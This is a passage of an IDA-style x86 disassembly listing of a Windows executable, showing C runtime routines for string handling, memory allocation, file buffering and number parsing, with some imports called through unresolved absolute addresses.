		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0

loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------

loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------

loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------

loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi

loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------

loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------

loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi

loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD3A4
		call	near ptr 27C0000h
		nop

loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------

loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------

loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]

loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax

loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------

loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------

loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]

loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------

loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------

loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------

loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	loc_41BD22

loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD3A0
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi

loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h

loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5

loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi

loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi

loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h

loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA

loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi

loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2860000h
		mov	edi, eax

loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B

loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE58, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------

loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------

loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------

loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi

loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE84
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------

loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi

loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h

loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B

loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi

loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2860000h
		mov	edi, eax

loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B

loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE58, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------

loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi

loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_41BE7D

loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE58, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D

loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax

loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------

loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE58
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0

loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE

loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD3A8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD3A0
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------

loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi

loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE84
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------

loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi

loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 27D0000h

loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx

loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93

loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD

loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7

loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------

loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061

loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022

loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015

loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044

loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032

loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7

loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi

loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi

loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010

loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------

loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------

loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------

loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1

loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax

loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9

loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B

loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D094, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------

loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------

loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118

loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx

loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D094, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------

loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------

loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax

loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE2C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124

loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE34, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		call	near ptr 27208E7h
		nop
		push	eax
		call	near ptr 2720244h
		nop

loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
